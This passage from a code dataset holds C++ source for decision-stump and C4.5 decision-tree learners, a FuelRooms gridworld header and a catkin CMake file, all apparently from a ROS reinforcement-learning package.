<< *bestGainRatio\n << \": type \" << *bestType\n << \" with val \" << *bestVal\n << \" on dim \" << *bestDim << endl;\n }\n } // newbest\n}\n\n/** Calculate gain ratio for this possible split. */\nfloat Stump::calcGainRatio(int dim, float val, int type,\n float I){\n if (STDEBUG) cout << \"calcGainRatio, dim=\" << dim\n << \" val=\" << val\n << \" I=\" << I\n << \" nInstances= \" << experiences.size() << endl;\n\n std::vector<stump_experience*> left;\n std::vector<stump_experience*> right;\n\n\n // array with percentage positive and negative for this test\n float D[2];\n\n // info(T) = I(P): float I;\n\n // Info for this split = Info(X,T)\n float Info;\n\n // Gain for this split = Gain(X,T)\n float Gain;\n\n // SplitInfo for this split = I(|pos|/|T|, |neg|/|T|)\n float SplitInfo;\n\n // GainRatio for this split = GainRatio(X,T) = Gain(X,T) / SplitInfo(X,T)\n float GainRatio;\n\n // see where the instances would go with this split\n for (unsigned i = 0; i < experiences.size(); i++){\n if (STDEBUG) cout << \"calcGainRatio - Classify instance \" << i << \" id: \"\n << experiences[i]->id << \" on new split \" << endl;\n\n if (passTest(dim, val, type, experiences[i]->input)){\n left.push_back(experiences[i]);\n }\n else{\n right.push_back(experiences[i]);\n }\n }\n\n if (STDEBUG) cout << \"Left has \" << left.size()\n << \", right has \" << right.size() << endl;\n\n D[0] = (float)left.size() / (float)experiences.size();\n D[1] = (float)right.size() / (float)experiences.size();\n float leftInfo = calcIforSet(left);\n float rightInfo = calcIforSet(right);\n Info = D[0] * leftInfo + D[1] * rightInfo;\n Gain = I - Info;\n SplitInfo = calcIofP((float*)&D, 2);\n GainRatio = Gain / SplitInfo;\n\n if (STDEBUG){\n cout << \"LeftInfo: \" << leftInfo\n << \" RightInfo: \" << rightInfo\n << \" Info: \" << Info\n << \" Gain: \" << Gain\n << \" SplitInfo: \" << SplitInfo\n << \" GainRatio: \" << GainRatio\n << endl;\n }\n\n return GainRatio;\n\n}\n\nfloat Stump::calcIofP(float* P, int size){\n if (STDEBUG) cout << \"calcIofP, size=\" << size << endl;\n float I = 0;\n for (int i = 0; i < size; i++){\n I -= P[i] * log(P[i]);\n }\n return I;\n}\n\n/** Calculate I(P) for set. */\nfloat Stump::calcIforSet(const std::vector<stump_experience*> &instances){\n if (STDEBUG) cout << \"calcIforSet\" << endl;\n\n std::vector<float> classes;\n std::vector<int> classCounts;\n\n // go through instances and figure count of each type\n for (unsigned i = 0; i < instances.size(); i++){\n\n float val = instances[i]->output;\n bool newValue = true;\n // see if this is a new val\n for (unsigned j = 0; j < classes.size(); j++){\n // not new, increment count for this class\n if (val == classes[j]){\n newValue = false;\n classCounts[j]++;\n break;\n }\n }\n\n // it is a new value\n if (newValue){\n classes.push_back(val);\n classCounts.push_back(1);\n if (STDEBUG) cout << \"found new class with val \" << val << endl;\n }\n }\n\n // now calculate P\n float *P = new float[classes.size()];\n for (int i = 0; i < (int)classCounts.size(); i++){\n P[i] = (float)classCounts[i] / (float)instances.size();\n }\n\n // calculate I(P)\n float I = calcIofP(P, classes.size());\n delete [] P;\n\n return I;\n\n}\n\n/** Returns a list of the attributes in this dimension sorted\n from lowest to highest. */\nfloat* Stump::sortOnDim(int dim){\n if (STDEBUG) cout << \"sortOnDim,dim = \" << dim << endl;\n\n float* values = new float[experiences.size()];\n\n for (int i = 0; i < (int)experiences.size(); i++){\n //cout << \"Instance \" << i << endl;\n\n float val = experiences[i]->input[dim];\n //cout << \" val: \" << val << endl;\n\n // find where this should go\n for (int j = 0; j <= i; j++){\n //cout << \" j: \" << j << endl;\n\n // get to i, this is the spot then\n if (j==i){\n values[j] = val;\n //cout << \" At i, putting value in slot j: \" << j << endl;\n }\n\n // if this is the spot\n else if (val < values[j]){\n //cout << \" Found slot at j: \" << j << endl;\n\n // slide everything forward to make room\n for (int k = i; k > j; k--){\n //cout << \" k = \" << k << \" Sliding value from k-1 to k\" << endl;\n values[k] = values[k-1];\n }\n\n // put value in its spot at j\n //cout << \" Putting value at slot j: \" << j << endl;\n values[j] = val;\n\n // break\n break;\n }\n\n }\n }\n\n if (STDEBUG){\n cout << \"Sorted array: \" << values[0];\n for (int i = 1; i < (int)experiences.size(); i++){\n cout << \", \" << values[i];\n }\n cout << endl;\n }\n\n return values;\n\n}\n\n\n/** Print the stump for debug purposes. */\nvoid Stump::printStump(){\n\n cout << \"Type: \" << type\n << \" Dim: \" << dim << \" Val: \" << val\n << \" nExperiences: \" << nExperiences ;\n\n cout << \" Left Outputs: \";\n for (std::multiset<float>::iterator j = leftOutputs.begin();\n j != leftOutputs.end(); j++){\n cout << *j << \", \";\n }\n cout << endl;\n cout << \" Right Outputs: \";\n for (std::multiset<float>::iterator j = rightOutputs.begin();\n j != rightOutputs.end(); j++){\n cout << *j << \", \";\n }\n cout << endl;\n\n}\n\n/** See if the attributes are independent of the output class\n If they are all independent, we have no more inputs to split on */\n/*\n std::vector<float> Stump::calcChiSquare(std::vector<experience> experiences){\n\n std::vector<float> chiSquare;\n chiSquare.resize(experiences[0].input.size());\n\n // for each input attribute\n for (int i = 0; i < (int)experiences[0].input.size(); i++){\n\n // attribute counts\n std::vector<float> attribValue;\n std::vector<int> attribCount;\n\n // outcome counts\n std::vector<float> outcomeValue;\n std::vector<int> outcomeCount;\n\n for (int k = 0; k < (int)experiences.size(); k++){\n\n experience* exp = &(experiences[k]);\n\n // match attribute value\n bool attribMatch = false;\n for (int l = 0; l < (int)attribValue.size(); l++){\n if (attribValue[l] == exp->input[i]){\n attribMatch = true;\n attribCount[l]++;\n break;\n }\n }\n // no match\n attribValue.push_back(exp->input[i]);\n attribCount.push_back(1);\n\n // match outcome value\n bool outcomeMatch = false;\n for (int l = 0; l < (int)outcomeValue.size(); l++){\n if (outcomeValue[l] == exp->output){\n outcomeMatch = true;\n outcomeCount[l]++;\n break;\n }\n }\n // no match\n outcomeValue.push_back(exp->output);\n outcomeCount.push_back(1);\n\n }\n\n // table\n // TODO\n\n float** actual = new float*[attribValue.size()];//[outcomeValue.size()];\n float** expected = new float*[attribValue.size()];//[outcomeValue.size()];\n for (int k = 0; k < (int)attribValue.size(); k++){\n actual[k] = new float[outcomeValue.size()];\n expected[k] = new float[outcomeValue.size()];\n }\n\n // calculate actual table\n for (int k = 0; k < (int)experiences.size(); k++){\n experience* exp = &(experiences[k]);\n\n // match\n for (int l = 0; l < (int)attribValue.size(); l++){\n if (attribValue[l] != exp->input[i])\n continue;\n for (int j = 0; j < (int)outcomeValue.size(); j++){\n if (outcomeValue[j] != exp->output)\n continue;\n actual[l][j]++;\n }\n }\n }\n\n // calculate expected table and compare\n float x2 = 0.0;\n for (int l = 0; l < (int)attribValue.size(); l++){\n for (int j = 0; j < (int)outcomeValue.size(); j++){\n\n // calculate expected\n expected[l][j] = attribCount[l] * outcomeCount[j] /\n (float)experiences.size();\n\n float cell = (actual[l][j] - expected[l][j]) *\n (actual[l][j] - expected[l][j]) / expected[i][j];\n\n x2 += cell;\n }\n }\n\n delete actual;\n delete expected;\n\n chiSquare[i] = x2;\n cout << \" Feature \" << i << \" Independence: \" << chiSquare[i] << endl;\n\n }\n return chiSquare;\n\n }\n*/\n\n// output a map of outcomes and their probabilities for this leaf node\nvoid Stump::outputProbabilities(std::multiset<float> outputs, std::map<float, float>* retval){\n if (STDEBUG) cout << \" Calculating output probs\" << endl;\n\n // go through all possible output values\n for (std::multiset<float>::iterator it = outputs.begin();\n it != outputs.end(); it = outputs.upper_bound(*it)){\n\n // get count for this value\n float val = *it;\n int count = outputs.count(val);\n if (count > 0){\n (*retval)[val] = (float) count / (float)outputs.size();\n if (STDEBUG) cout << \" Output value \" << val << \" had count of \" << count\n << \" on \"\n << outputs.size() << \" experiences and prob of \"\n << (*retval)[val] << endl;\n }\n }\n\n}\n" }, { "alpha_fraction": 0.701309323310852, "alphanum_fraction": 0.7045826315879822, "avg_line_length": 25, "blob_id": "389f8e8a1342dbabb3e19223487deb68250a7358", "content_id": "ab07c880416b45c476f1a821dfd62b10871feedf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2444, "license_type": "no_license", "max_line_length": 102, "num_lines": 94, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/include/rl_env/FuelRooms.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file FuelRooms.hh\n Defines the Fuel World domain, with possible noise.\n From the paper:\n Hester and Stone, \"Real Time Targeted Exploration in Large Domains\", ICDL 2010.\n \\author Todd Hester\n*/\n\n#ifndef _FUELROOMS_H_\n#define _FUELROOMS_H_\n\n#include <set>\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include \"gridworld.hh\"\n\n\n/** This class defines the Fuel World gridworld domain */\nclass FuelRooms: public Environment {\npublic:\n\n /** Creates a deterministic FuelRooms domain.\n \\param rand Random number generator.\n \\param extraVariation the costs of fuel stations vary even more\n \\param stoch Stochastic or deterministic\n */\n FuelRooms(Random &rand, bool extraVariation, bool stoch);\n\n virtual ~FuelRooms();\n\n virtual const std::vector<float> &sensation() const;\n virtual float apply(int action);\n\n virtual bool terminal() const;\n virtual void reset();\n\n virtual int getNumActions();\n virtual void getMinMaxFeatures(std::vector<float> *minFeat, std::vector<float> *maxFeat);\n virtual void getMinMaxReward(float* minR, float* maxR);\n\n virtual std::vector<experience> getSeedings();\n\n /** Get an example experience for this state-action. */\n experience getExp(int s0, int s1, int s2, int a);\n\n // stuff to check on exploration\n /** For heatmap plots: Keep track of visits to each state, total states, and fuel station states. */\n void checkVisits();\n\n /** For heatmap plots: Reset visit counts for states to 0. */\n void resetVisits();\n\n /** For heatmap plots: Print % of visits to different state types */\n void printVisits();\n\n /** For heatmap plots: Print map of visits to each state cell */\n void printVisitMap(string filename);\n\nprotected:\n typedef std::pair<float,float> coord_t;\n enum room_action_t {NORTH, NORTHEAST, EAST, SOUTHEAST, SOUTH, SOUTHWEST, WEST, NORTHWEST};\n\nprivate:\n const int height;\n const int width;\n coord_t goal;\n\n const bool extraVar;\n const bool noisy;\n Random &rng;\n\n\n std::vector<float> s;\n\n float &ns;\n float &ew;\n float &energy;\n\n // keep track of the agent's exploration so we can look at it later\n int fuelVisited;\n int totalVisited;\n \n int** stateVisits;\n\n /** Corrupts a movement action.\n \\param action The intended action\n \\return The action actually executed */\n room_action_t add_noise(room_action_t action);\n\n /** Return the correct reward based on the current state. */\n float reward(int effect);\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.7230769395828247, "alphanum_fraction": 0.7576923370361328, "avg_line_length": 42.5, "blob_id": "884ac901e5dc07d5ceedb806c6f1723f53fc140e", "content_id": "b32447b7fe6a87301ff882295918b84306d5104d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 260, "license_type": "no_license", "max_line_length": 45, "num_lines": 6, "path": "/build/turtlebot3_ddpg/catkin_generated/setup_py_interrogation.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(turtlebot3_ddpg_SETUP_PY_VERSION \"1.0.0\")\nset(turtlebot3_ddpg_SETUP_PY_SCRIPTS \"\")\nset(turtlebot3_ddpg_SETUP_PY_PACKAGES \"\")\nset(turtlebot3_ddpg_SETUP_PY_PACKAGE_DIRS \"\")\nset(turtlebot3_ddpg_SETUP_PY_MODULES \"\")\nset(turtlebot3_ddpg_SETUP_PY_MODULE_DIRS \"\")" }, { "alpha_fraction": 0.5495814085006714, "alphanum_fraction": 0.5591315627098083, "avg_line_length": 26.578577041625977, "blob_id": "695ee97efa81e1917e386cedca5054a126317c06", "content_id": "729e49a1470b5c7a5b5d94d58d82aee21a5f9dbb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 31413, "license_type": "no_license", "max_line_length": 125, "num_lines": 1139, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/C45Tree.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file C45Tree.cc\n Implements the C4.5 decision tree class.\n This is an implementation of C4.5 decision trees described in:\n J. R. Quinlan, \"Induction of decision trees,\" Machine Learning, vol 1. pp 81-106, 1986.\n \\author Todd Hester\n*/\n\n#include \"C45Tree.hh\"\n\n\n\nC45Tree::C45Tree(int id, int trainMode, int trainFreq, int m,\n float featPct, Random rng):\n id(id), mode(trainMode), freq(trainFreq), M(m),\n featPct(featPct), ALLOW_ONLY_SPLITS(true), rng(rng)\n{\n\n nnodes = 0;\n nOutput = 0;\n nExperiences = 0;\n hadError = false;\n maxnodes = N_C45_NODES;\n totalnodes = 0;\n\n // how close a split has to be to be randomly selected\n SPLIT_MARGIN = 0.0; //0.02; //5; //01; //0.05; //0.2; //0.05;\n\n MIN_GAIN_RATIO = 0.0001; //0.0004; //0.001; //0.0002; //0.001;\n\n DTDEBUG = false; //true;\n SPLITDEBUG = false; //true;\n STOCH_DEBUG = false; //true; //false; //true;\n INCDEBUG = false; //true; //false; //true;\n NODEDEBUG = false;\n COPYDEBUG = false;\n\n cout << \"Created C4.5 decision tree \" << id;\n if (ALLOW_ONLY_SPLITS) cout << \" with == and > splits\" << endl;\n else cout << \" with > splits only\" << endl;\n if (DTDEBUG) {\n cout << \" mode: \" << mode << \" freq: \" << freq << endl;\n }\n\n initNodes();\n initTree();\n\n}\n\nC45Tree::C45Tree(const C45Tree &t):\n id(t.id), mode(t.mode), freq(t.freq), M(t.M),\n featPct(t.featPct), ALLOW_ONLY_SPLITS(t.ALLOW_ONLY_SPLITS), rng(t.rng)\n{\n COPYDEBUG = t.COPYDEBUG;\n if (COPYDEBUG) cout << \" C4.5 tree copy constructor id \" << id << endl;\n nnodes = 0;\n nOutput = t.nOutput;\n nExperiences = t.nExperiences;\n hadError = t.hadError;\n maxnodes = t.maxnodes;\n totalnodes = 0;\n\n SPLIT_MARGIN = t.SPLIT_MARGIN;\n MIN_GAIN_RATIO = t.MIN_GAIN_RATIO;\n DTDEBUG = t.DTDEBUG;\n SPLITDEBUG = t.SPLITDEBUG;\n STOCH_DEBUG = t.STOCH_DEBUG;\n INCDEBUG = t.INCDEBUG;\n NODEDEBUG = t.NODEDEBUG;\n \n \n if (COPYDEBUG) cout << \" C4.5 copy nodes, experiences, root, etc\" << endl;\n // copy all experiences\n for (int i = 0; i < N_C45_EXP; i++){\n allExp[i] = t.allExp[i];\n }\n if (COPYDEBUG) cout << \" C4.5 copied exp array\" << endl;\n\n // set experience pointers\n experiences.resize(t.experiences.size());\n for (unsigned i = 0; i < t.experiences.size(); i++){\n experiences[i] = &(allExp[i]);\n }\n if (COPYDEBUG) cout << \" C4.5 set experience pointers\" << endl;\n\n // now the tricky part, set the pointers inside the tree nodes correctly\n initNodes();\n\n if (COPYDEBUG) cout << \" C4.5 copy tree \" << endl;\n root = allocateNode();\n lastNode = root;\n copyTree(root, t.root);\n if (COPYDEBUG) cout << \" C4.5 tree copy done\" << endl;\n \n if (COPYDEBUG) {\n cout << endl << \"New tree: \" << endl;\n printTree(root, 0);\n cout << endl;\n cout << \" c4.5 copy done\" << endl;\n }\n\n}\n\nC45Tree* C45Tree::getCopy(){\n \n C45Tree* copy = new C45Tree(*this);\n return copy;\n\n}\n\nvoid C45Tree::copyTree(tree_node* newNode, tree_node* origNode){\n\n int nodeId = newNode->id;\n\n if (COPYDEBUG) {\n cout << \" Copy node \" << newNode->id << \" from node \" << origNode->id << endl;\n cout << \" NewAddy \" << newNode << \", old: \" << origNode << endl;\n }\n\n // copy node from t\n *newNode = *origNode;\n newNode->id = nodeId;\n\n // if it has children, allocate and copy them too\n if (origNode->l != NULL && !newNode->leaf){\n newNode->l = allocateNode();\n if (COPYDEBUG) cout << \" Copy left node \" << newNode->l->id << \" from \" << origNode->l->id << endl;\n copyTree(newNode->l, origNode->l);\n } else {\n newNode->l = NULL;\n }\n\n if (origNode->r != NULL && !newNode->leaf){\n newNode->r = allocateNode();\n if (COPYDEBUG) cout << \" Copy right node \" << newNode->r->id << \" from \" << origNode->r->id << endl;\n copyTree(newNode->r, origNode->r);\n } else {\n newNode->r = NULL;\n }\n}\n\n\nC45Tree::~C45Tree() {\n deleteTree(root);\n for (unsigned i = N_C45_EXP; i < experiences.size(); i++){\n delete experiences[i];\n }\n experiences.clear();\n}\n\n// here the target output will be a single value\nbool C45Tree::trainInstance(classPair &instance){\n\n if (DTDEBUG) cout << \"trainInstance\" << endl;\n\n bool modelChanged = false;\n\n // simply add this instance to the set of experiences\n\n // take from static array until we run out\n tree_experience *e;\n if (nExperiences < N_C45_EXP){\n // from statically created set of experiences\n e = &(allExp[nExperiences]);\n\n } else {\n // dynamically create experience\n e = new tree_experience;\n }\n\n\n e->input = instance.in;\n e->output = instance.out;\n experiences.push_back(e);\n nExperiences++;\n\n if (nExperiences == 1000000){\n cout << \"Reached limit of # experiences allowed.\" << endl;\n return false;\n }\n\n if (nExperiences != (int)experiences.size())\n cout << \"ERROR: experience size mismatch: \" << nExperiences << \", \" << experiences.size() << endl;\n\n //cout << nExperiences << endl << flush;\n //if (nExperiences == 503 && id == 10){\n // DTDEBUG = true;\n // SPLITDEBUG = true;\n // INCDEBUG = true;\n //}\n\n if (DTDEBUG) {\n cout << \"Original input: \";\n for (unsigned i = 0; i < instance.in.size(); i++){\n cout << instance.in[i] << \", \";\n }\n cout << endl << \" Original output: \" << instance.out << endl;\n cout << \"Added exp id: \" << nExperiences << \" output: \" << e->output << endl;\n cout << \"Address: \" << e << \" Input : \";\n for (unsigned i = 0; i < e->input.size(); i++){\n cout << e->input[i] << \", \";\n }\n cout << endl << \" Now have \" << nExperiences << \" experiences.\" << endl;\n }\n\n // depending on mode/etc, maybe re-build tree\n\n // mode 0: re-build every step\n if (mode == BUILD_EVERY || nExperiences <= 1){\n modelChanged = rebuildTree();\n }\n\n // mode 1: re-build on error only\n else if (mode == BUILD_ON_ERROR){\n\n // build on misclassification\n // check for misclassify\n // get leaf\n tree_node* leaf = traverseTree(root, e->input);\n // find probability for this output\n float count = (float)leaf->outputs[e->output];\n float outputProb = count / (float)leaf->nInstances;\n\n if (outputProb < 0.75){\n modelChanged = rebuildTree();\n modelChanged = true;\n }\n }\n\n // mode 2: re-build every FREQ steps\n else if (mode == BUILD_EVERY_N){\n // build every freq steps\n if (!modelChanged && (nExperiences % freq) == 0){\n modelChanged = rebuildTree();\n }\n }\n\n if (modelChanged){\n if (DTDEBUG) cout << \"DT \" << id << \" tree re-built.\" << endl;\n\n if (DTDEBUG){\n cout << endl << \"DT: \" << id << endl;\n printTree(root, 0);\n cout << \"Done printing tree\" << endl;\n }\n }\n\n /*\n if (nExperiences % 50 == 0){\n cout << endl << \"DT: \" << id << endl;\n printTree(root, 0);\n cout << \"Done printing tree\" << endl;\n }\n */\n\n return modelChanged;\n\n}\n\n\n// here the target output will be a single value\nbool C45Tree::trainInstances(std::vector<classPair> &instances){\n if (DTDEBUG) cout << \"DT \" << id << \" trainInstances: \" << instances.size() << endl;\n\n bool modelChanged = false;\n\n bool doBuild = false;\n\n bool buildOnError = false;\n\n // loop through instances, possibly checking for errors\n for (unsigned a = 0; a < instances.size(); a++){\n classPair instance = instances[a];\n\n // simply add this instance to the set of experiences\n\n // take from static array until we run out\n tree_experience *e;\n if (nExperiences < N_C45_EXP){\n // from statically created set of experiences\n e = &(allExp[nExperiences]);\n\n } else {\n // dynamically create experience\n e = new tree_experience;\n }\n\n\n e->input = instance.in;\n e->output = instance.out;\n experiences.push_back(e);\n nExperiences++;\n\n if (nExperiences == 1000000){\n cout << \"Reached limit of # experiences allowed.\" << endl;\n return false;\n }\n\n if (nExperiences != (int)experiences.size())\n cout << \"ERROR: experience size mismatch: \" << nExperiences << \", \" << experiences.size() << endl;\n\n if (DTDEBUG) {\n cout << \"Original input: \";\n for (unsigned i = 0; i < instance.in.size(); i++){\n cout << instance.in[i] << \", \";\n }\n cout << endl << \" Original output: \" << instance.out << endl;\n cout << \"Added exp id: \" << nExperiences << \" output: \" << e->output << endl;\n cout << \"Address: \" << e << \" Input : \";\n for (unsigned i = 0; i < e->input.size(); i++){\n cout << e->input[i] << \", \";\n }\n cout << endl << \" Now have \" << nExperiences << \" experiences.\" << endl;\n }\n\n // depending on mode/etc, maybe re-build tree\n\n // don't need to check if we've already decided\n if (doBuild) continue;\n\n // mode 0: re-build every step\n if (mode == BUILD_EVERY || nExperiences <= 1){\n doBuild = true;\n }\n\n // mode 1: re-build on error only\n else if (mode == BUILD_ON_ERROR){\n\n // build on misclassification\n // check for misclassify\n // get leaf\n tree_node* leaf = traverseTree(root, e->input);\n // find probability for this output\n float count = (float)leaf->outputs[e->output];\n float outputProb = count / (float)leaf->nInstances;\n\n if (outputProb < 0.75){\n doBuild = true;\n buildOnError = true;\n }\n }\n\n // mode 2: re-build every FREQ steps\n else if (mode == BUILD_EVERY_N){\n // build every freq steps\n if (!modelChanged && (nExperiences % freq) == 0){\n doBuild = true;\n }\n }\n\n } // loop of new instances\n\n if (DTDEBUG) cout << \"Added \" << instances.size() << \" new instances. doBuild = \" << doBuild << endl;\n\n if (doBuild){\n modelChanged = rebuildTree();\n }\n\n if (modelChanged){\n if (DTDEBUG) cout << \"DT \" << id << \" tree re-built.\" << endl;\n\n if (DTDEBUG){\n cout << endl << \"DT: \" << id << endl;\n printTree(root, 0);\n cout << \"Done printing tree\" << endl;\n }\n }\n\n return (modelChanged || buildOnError);\n\n}\n\n\nbool C45Tree::rebuildTree(){\n return buildTree(root, experiences, false);\n}\n\n\n// TODO: here we want to return the probability of the output value being each of the possible values, in the stochastic case\nvoid C45Tree::testInstance(const std::vector<float> &input, std::map<float, float>* retval){\n if (DTDEBUG) cout << \"testInstance\" << endl;\n\n retval->clear();\n\n // in case the tree is empty\n if (experiences.size() == 0){\n (*retval)[0.0] = 1.0;\n return;\n }\n\n // follow through tree to leaf\n tree_node* leaf = traverseTree(root, input);\n lastNode = leaf;\n\n // and return mapping of outputs and their probabilities\n outputProbabilities(leaf, retval);\n\n}\n\nfloat C45Tree::getConf(const std::vector<float> &input){\n if (DTDEBUG) cout << \"numVisits\" << endl;\n\n // in case the tree is empty\n if (experiences.size() == 0){\n return 0;\n }\n\n // follow through tree to leaf\n //tree_node* leaf = traverseTree(root, input);\n\n // and return # in this leaf\n float conf = (float)lastNode->nInstances / (float)(2.0*M);\n if (conf > 1.0)\n return 1.0;\n else\n return conf;\n\n}\n\n// check to see if this state is one we should explore\n// to get more info on potential splits\n\n\n// init the tree\nvoid C45Tree::initTree(){\n if (DTDEBUG) cout << \"initTree()\" << endl;\n root = allocateNode();\n\n if (DTDEBUG) cout << \" root id = \" << root->id << endl;\n\n // just to ensure the diff models are on different random values\n for (int i = 0; i < id; i++){\n rng.uniform(0, 1);\n }\n\n}\n\n\n\n// init a tree node\nvoid C45Tree::initTreeNode(tree_node* node){\n if (DTDEBUG) cout << \"initTreeNode()\";\n\n node->id = nnodes++;\n if (DTDEBUG) cout << \" id = \" << node->id << endl;\n\n totalnodes++;\n if (totalnodes > maxnodes){\n maxnodes = totalnodes;\n if (DTDEBUG) cout << id << \" C4.5 MAX nodes: \" << maxnodes << endl;\n }\n\n // split criterion\n node->dim = -1;\n node->val = -1;\n node->type = -1;\n\n // current data\n node->nInstances = 0;\n node->outputs.clear();\n\n // next nodes in tree\n node->l = NULL;\n node->r = NULL;\n\n node->leaf = true;\n\n}\n\nvoid C45Tree::deleteTree(tree_node* node){\n if (DTDEBUG) cout << \"deleteTree, node=\" << node->id << endl;\n\n if (node==NULL)\n return;\n\n totalnodes--;\n\n node->nInstances = 0;\n node->outputs.clear();\n\n //recursively call deleteTree on children\n // then delete them\n if (!node->leaf){\n // left child\n if (node->l != NULL){\n deleteTree(node->l);\n deallocateNode(node->l);\n node->l = NULL;\n }\n\n // right child\n if (node->r != NULL){\n deleteTree(node->r);\n deallocateNode(node->r);\n node->r = NULL;\n }\n }\n\n node->leaf = true;\n node->dim = -1;\n\n}\n\n\nC45Tree::tree_node* C45Tree::getCorrectChild(tree_node* node,\n const std::vector<float> &input){\n\n if (DTDEBUG) cout << \"getCorrectChild, node=\" << node->id << endl;\n\n if (passTest(node->dim, node->val, node->type, input))\n return node->l;\n else\n return node->r;\n\n}\n\nC45Tree::tree_node* C45Tree::traverseTree(tree_node* node,\n const std::vector<float> &input){\n\n if (DTDEBUG) cout << \"traverseTree, node=\" << node->id << endl;\n\n while (!node->leaf){\n node = getCorrectChild(node, input);\n }\n\n return node;\n}\n\n\nbool C45Tree::passTest(int dim, float val, bool type, const std::vector<float> &input){\n if (DTDEBUG) cout << \"passTest, dim=\" << dim << \",val=\" << val << \",type=\" << type\n << \",input[\"<<dim<<\"]=\" << input[dim] <<endl;\n\n if (type == CUT){\n if (input[dim] > val)\n return false;\n else\n return true;\n } else if (type == ONLY){\n if (input[dim] == val)\n return false;\n else\n return true;\n } else {\n return false;\n }\n\n}\n\n\nbool C45Tree::buildTree(tree_node *node,\n const std::vector<tree_experience*> &instances,\n bool changed){\n if(DTDEBUG) cout << \"buildTree, node=\" << node->id\n << \",nInstances:\" << instances.size() \n << \",chg:\" << changed << endl;\n\n if (instances.size() == 0){\n cout << \"Error: buildTree called on tree \" << id << \" node \" << node->id << \" with no instances.\" << endl;\n exit(-1);\n }\n\n\n // TODO: what about stochastic data?\n //std::vector<float> chiSquare = calcChiSquare(instances);\n\n // first, add instances to tree\n node->nInstances = instances.size();\n\n // add each output to this node\n node->outputs.clear();\n for (unsigned i = 0; i < instances.size(); i++){\n node->outputs[instances[i]->output]++;\n }\n\n // see if they're all the same\n if (node->outputs.size() == 1){\n bool change = makeLeaf(node);\n if (DTDEBUG){\n cout << \"All \" << node->nInstances\n << \" classified with output \"\n << instances[0]->output << endl;\n }\n return change;\n }\n\n // if not, calculate gain ratio to determine best split\n else {\n\n if (SPLITDEBUG) cout << endl << \"Creating new decision node\" << endl;\n\n //node->leaf = false;\n //node->nInstances++;\n\n float bestGainRatio = -1.0;\n int bestDim = -1;\n float bestVal = -1;\n bool bestType = 0;\n std::vector<tree_experience*> bestLeft;\n std::vector<tree_experience*> bestRight;\n\n testPossibleSplits(instances, &bestGainRatio, &bestDim, &bestVal, &bestType, &bestLeft, &bestRight);\n\n return implementSplit(node, bestGainRatio, bestDim, bestVal, bestType, bestLeft, bestRight, changed);\n\n }\n\n}\n\n\nbool C45Tree::makeLeaf(tree_node* node){\n\n // check on children\n if (node->l != NULL){\n deleteTree(node->l);\n deallocateNode(node->l);\n node->l = NULL;\n }\n\n if (node->r != NULL){\n deleteTree(node->r);\n deallocateNode(node->r);\n node->r = NULL;\n }\n\n // changed from not leaf to leaf, or just init'd\n bool change = (!node->leaf || node->type < 0);\n\n node->leaf = true;\n node->type = 0;\n\n return change;\n}\n\nbool C45Tree::implementSplit(tree_node* node, float bestGainRatio, int bestDim,\n float bestVal, bool bestType,\n const std::vector<tree_experience*> &bestLeft, \n const std::vector<tree_experience*> &bestRight,\n bool changed){\n if (DTDEBUG) cout << \"implementSplit node=\" << node->id << \",gainRatio=\" << bestGainRatio\n << \",dim=\" << bestDim\n << \",val=\" << bestVal << \",type=\" << bestType \n << \",chg=\" << changed << endl;\n\n\n // see if this should still be a leaf node\n if (bestGainRatio < MIN_GAIN_RATIO){\n bool change = makeLeaf(node);\n if (SPLITDEBUG || STOCH_DEBUG){\n cout << \"DT \" << id << \" Node \" << node->id << \" Poor gain ratio: \"\n\t << bestGainRatio << \", \" << node->nInstances\n << \" instances classified at leaf \" << node->id\n << \" with multiple outputs \" << endl;\n }\n return change;\n }\n\n // see if this split changed or not\n // assuming no changes above\n if (!changed && node->dim == bestDim && node->val == bestVal\n && node->type == bestType && !node->leaf\n && node->l != NULL && node->r != NULL){\n // same split as before.\n if (DTDEBUG || SPLITDEBUG) cout << \"Same split as before\" << endl;\n bool changeL = false;\n bool changeR = false;\n\n // see which leaf changed\n if (bestLeft.size() > (unsigned)node->l->nInstances){\n // redo left side\n if (DTDEBUG) cout << \"Rebuild left side of tree\" << endl;\n changeL = buildTree(node->l, bestLeft, changed);\n }\n\n if (bestRight.size() > (unsigned)node->r->nInstances){\n // redo right side\n if (DTDEBUG) cout << \"Rebuild right side of tree\" << endl;\n changeR = buildTree(node->r, bestRight, changed);\n }\n\n // everything up to here is the same, check if there were changes below\n return (changeL || changeR);\n }\n\n // totally new\n // set the best split here\n node->leaf = false;\n node->dim = bestDim;\n node->val = bestVal;\n node->type = bestType;\n\n if (SPLITDEBUG) cout << \"Best split was type \" << node->type\n << \" with val \" << node->val\n << \" on dim \" << node->dim\n << \" with gainratio: \" << bestGainRatio << endl;\n\n if (DTDEBUG) cout << \"Left has \" << bestLeft.size()\n << \", right has \" << bestRight.size() << endl;\n\n // make sure both instances\n if (bestLeft.size() == 0 || bestRight.size() == 0){\n cout << \"ERROR: DT \" << id << \" node \" << node->id << \" has 0 instances: left: \" << bestLeft.size()\n << \" right: \" << bestRight.size() << endl;\n cout << \"Split was type \" << node->type\n << \" with val \" << node->val\n << \" on dim \" << node->dim\n << \" with gainratio: \" << bestGainRatio << endl;\n exit(-1);\n }\n\n\n // check if these already exist\n if (node->l == NULL){\n if (DTDEBUG) cout << \"Init new left tree nodes \" << endl;\n node->l = allocateNode();\n }\n if (node->r == NULL){\n if (DTDEBUG) cout << \"Init new right tree nodes \" << endl;\n node->r = allocateNode();\n }\n\n // recursively build the sub-trees to this one\n if (DTDEBUG) cout << \"Building left tree for node \" << node->id << endl;\n buildTree(node->l, bestLeft, true);\n if (DTDEBUG) cout << \"Building right tree for node \" << node->id << endl;\n buildTree(node->r, bestRight, true);\n\n // this one changed, or above changed, no reason to check change of lower parts\n return true;\n \n}\n\n\n\nvoid C45Tree::testPossibleSplits(const std::vector<tree_experience*> &instances, \n float *bestGainRatio, int *bestDim,\n float 